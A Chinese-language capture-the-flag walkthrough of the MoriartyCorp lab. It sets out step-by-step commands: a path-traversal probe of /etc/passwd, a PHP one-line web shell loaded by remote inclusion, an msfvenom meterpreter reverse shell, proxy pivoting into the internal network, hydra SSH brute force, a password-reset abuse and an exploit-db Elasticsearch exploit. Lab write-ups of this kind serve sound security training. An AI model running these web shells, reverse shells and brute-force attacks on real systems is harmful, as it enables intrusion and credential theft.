| 外网 IP | 内网 IP | |
|---|---|---|
| 攻击机 Kali | 192.168.56.102 | / |
| MoriartyCorp | 192.168.56.101 | 172.17.0.3 |
| 80 端口文件上传 | / | 172.17.0.4 |
| 22 端口远程连接 | / | 172.17.0.10 |
| 8000 端口任意密码修改 | / | 172.17.0.11 |
| 9200 端口漏洞利用 | / | 172.17.0.12 |
网络拓扑图
第一个 flag：#
主机发现：
192.168.56.101 为目标主机
Nmap -sn -PR -T4 192.168.56.0/24
端口扫描：
Nmap -p- -A 192.168.56.101
开放了端口：22、8000、9000
端口访问：
8000：
9000：
疑似存在文件包含漏洞
192.168.56.101/?file=../../../../../../../etc/passwd
存在路径遍历漏洞
在 kali 上构建一句话木马文件，并开启 http 服务。
<?php @eval($_POST[‘hack’];?>
Python -m http.server 80
远程访问木马文件：
192.168.56.101/?file=http://192.168.56.102:80
蚁剑上线：
获取到第一个 flag：
flag{the_game_is_on}
提交 flag 之后得到新的提示，内网环境在：172.17.0.3-254
开始进行内网渗透。
第二个 flag：#
Msf 制作并上传木马文件：
上传木马，开始内网渗透
Msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.56.102 lport=6666 -f elf > hack.elf
Msf开启监听
Use exploit/multi/handler
Set payload linux/x64/meterpreter/reverse_tcp
Set lhost 192.168.56.102
Set lport 6666
exploit
靶机上给予木马文件权限，并执行：
Chmod 777 hack.elf
./hack.elf
添加内网路由：
Run autoroute -s 172.17.0.0/24
Msf启动socks代理：
Bg
Use auxiliary/server/socks_proxy
Set srvhost 127.0.0.1
Set srvhost 1080
Run
同时修改proxychains文件
Vim /etc/proxychains4.conf
Socks5 127.0.0.1 1080
扫描内网的 80 端口：
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
访问 172.17.0.4:80
发现可以进行文件上传，但是需要密码，尝试用 burp suite 抓包进行密码爆破：
在 firefox 上设置代理服务：
Burp suite 上设置 socks 代理：
开启抓包，根据返回长度发现，password 为密码。
上传一句话木马到靶机，并且访问该木马文件：
在中国蚁剑上设置 socks5 代理：
上线蚁剑：
获得第二个 flag：
flag{picture_is_worth_1000_words}
提交 flag 后获得新的提示：
得到了一些用户名和进行了 md5 加密的密码，并提示尝试使用 ssh 进行攻击。
第三个 flag：#
扫描内网开启了 22 端口的靶机：
发现主机 172.17.0.10:22
Proxychains4 nmap -sV -sT -Pn -p22 172.17.0.0/24
使用 kali 自带的 hydra 进行密码爆破：
Proxychains4 hydra -L username.txt -P password.txt ssh://172.17.0.10
成功爆出账号和密码：
root weapons
对 172.17.0.10 进行 ssh 登录，并获取到第三个 flag：
Proxychains4 ssh root@172.17.0.10
flag{what_weapons}
提交 flag 后获得新的提示：
新的用户名和密码，并提示 chat 服务可能开启在 443、8000、8080、8888 这些端口
第四个 flag：#
对内网进行端口扫描：
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080
发现主机：172.17.0.11:8000
访问 172.17.0.11:8000 显示需要登录，用给出的账号密码进行登录：
用户名：buyer13
密码：arms13
发现可以更改密码，可能存在逻辑漏洞任意密码修改漏洞，用 burp suite 抓包修改用户名尝试修改 admin 的密码：
再次登录，使用 admin 进行登录，成功登入：
获得 flag：
flag{on_the_move}
提交 flag 后获得新的提示：
使用了 elasticsearch，通常使用 9200 端口。
Elasticsearch 是一个开源的高扩展的分布式全文检索引擎，会默认监听 9200 端口。
第五个 flag：#
对内网进行 9200 端口扫描：
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p9200
发现主机：172.17.0.12:9200
使用 kali 搜索关于 elasticsearch 相关的可利用的代码：
Searchsploit -t Elasticsearch
Cp /usr/share/exploitdb/exploits/linux/remote/36337.py /home/kali/Desktop
对172.17.0.12:9200进行攻击：
Proxychains4 python 36337.py 172.17.0.12
成功获取到最后一个flag：
flag{game_over}
提交最后一个 flag，靶场提示 ip 已经被禁止，无法再次访问。
至此，成果结束靶场的渗透。
如果有疑问，欢迎来咨询：
ace@pomeow.com